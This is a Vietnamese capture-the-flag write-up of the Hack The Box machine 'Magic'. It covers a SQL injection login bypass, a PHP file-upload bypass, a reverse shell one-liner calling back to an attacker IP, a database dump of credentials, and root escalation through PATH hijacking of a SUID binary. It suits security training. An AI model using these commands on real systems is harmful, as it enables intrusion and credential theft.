+1

[HTB Write-up] Magic

0. Mở đầu

Magic là một machine Linux ra mắt từ 2/5/2020 (được 36 ngày). Machine có IP 10.10.10.185, được đánh giá ở mức Medium.

Về matrix rate, nó khá chung chung,

Machine được rate khá cao (4,6/5) nên hi vọng sẽ hay và học được nhiều cái mới.

1.Write-up

Write-up vừa làm vừa viết nhưng lần này sẽ rút gọn hơn!

1.1 User Flag

Scan Nmap, command cũ:

sudo nmap -v -sS -A -Pn -T5 -p- -oN magic.txt 10.10.10.185

Có 2 port được mở là 22 và 80, nghe hơi hướng có vẻ phải chuyển hướng tấn công, scan bằng Nmap tiếp cho chắc rồi...đi làm việc khác, do Matrix-rate có hướng CVE nhẹ nên thêm --script vào để xem có cái RCE nào không:

sudo nmap -sS -sV --script=default,vuln -p 80,22 -T5 -oN nmap_final.txt 10.10.10.185

Đi tìm các route/endpoint của machine:

dirsearch -u http://10.10.10.185/ -t 20 -e html,php,txt

Hàng về:

/login.php
/index.php/login/
/upload.php  ->  login.php (yêu cầu login trước)

Với dirsearch mình chỉ dùng mặc định, vì cảm thấy brute-force với wordlist ngoài cùng dirsearch là không ăn thua.

Sau đó mình có thử thêm gobuster để tìm các path và endpoit cùng các wordlist lớn nhưng ko ra thêm gì. Giới thiệu về Gobuster tại đây.

Quay về với những gì tìm được thì có 1 form login tại http://10.10.10.185/login.php

Thử 1 số payload đơn giản, và... siêu đơn giản ' or 1=1;--

Vậy là login thành công, được redirect sang http://10.10.10.185/upload.php

Test nhẹ cái:

Có vẻ đã đến lúc dùng Burpsuite :v

Sau khi test 1 hồi, thì mình nhận ra phần Upload có check kỹ tên File và file content : Upload một image đúng format, xóa nội dung và thay bằng code PHP sẽ nhận response như sau:

Với tên sai thì tương tự như pop-up phía trên. Chúng ta chỉ có thể upload file dạng này:

Nhưng với file content, nó chỉ check header, và điều này không khó để bypass:

Upload một file đúng quy định, xóa nội dung thay bằng code php và để lại header là đủ:

Tại đây chúng ta đã có thể execute lệnh với quyền www-data:

Chạy reverse shell về máy cho khỏe:

php -r '$sock=fsockopen("10.10.14.40",3333);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

Thành quả:

Để cho xịn hơn:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Ý tưởng lớn...gặp nhau, sau khi có được reverse shell, mình vào /tmp/ thì đã thấy PEASS.sh ở đó (của ai đó) từ bao giờ, thôi thì có duyên thì mình chạy luôn vậy :v Thực tế tiện thì...chạy chứ dump ra nhiều quá cũng ko tìm thấy gì...

Machine có username tên theseus, trở về với /var/www/Magic/ chúng ta có file db.php5, nội dung như sau:

Dùng thử để SSH tới thì đương nhiên là không được. Connect tới database cũng không được do chưa có mysql-client và mariadb-client:

Nhưng để backup database bằng mysqldump thì được, tìm 1 lúc ra cú pháp đúng tại đây

mysqldump -u theseus -piamkingtheseus --all-databases

Và có credentials tại giá trị insert vào table login:

Th3s3usW4sK1ng

Sử dụng nó để switch account thì ăn ngay và get flag:

1.2 Root Flag

sudo -l thì user theseus không có Sudo Rights, chuyển sang tìm SUID.

Về Sudo Rights các bạn đọc bài tại đây , về SUID thì tại đây.

Mình thường tìm 2 phương pháp này trước vì nó phổ biến, hay gặp và mình làm quen nhất:

find / -perm -u=s -type f 2>/dev/null

Những binary "lạ" được gắn SUID:

Cố đọc từng binary bằng lệnh strings /path/to/binary

Tại /bin/sysinfo dùng tới 3 lệnh sau:

Để thân thuộc mình sẽ dùng cat để leo quyền.

Về ý tưởng leo quyền bằng cách này, các bạn đọc tại đây.

Ý tưởng sẽ là: Tạo 1 file tên cat, content của nó do chúng ta quyết định, gán nó vào PATH variable. Khi binary có SUID được chạy (sysinfo), thì cat cũng được chạy với quyền root (do SUID này do Root gắn), khi đó thì lấy cờ easy.

Tạo một file tên cat, content của nó dùng để đọc flag:

Sau đó kéo về /tmp/ của machine, Command leo quyền như sau:

cd /tmp
chmod 777 cat
echo $PATH
export PATH=/tmp:$PATH

Khi đó nếu bạn chạy cat --h thì câu chuyện sẽ như thế này:

Nhưng chạy thông qua sysinfo thì được do nó có SUID, khi Path variable đã được gán, command chỉ là sysinfo, và kết quả:

2. Kết luận

Machine khá cơ bản và dễ tiếp cận. Không có nhiều "lỗ thỏ".


All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.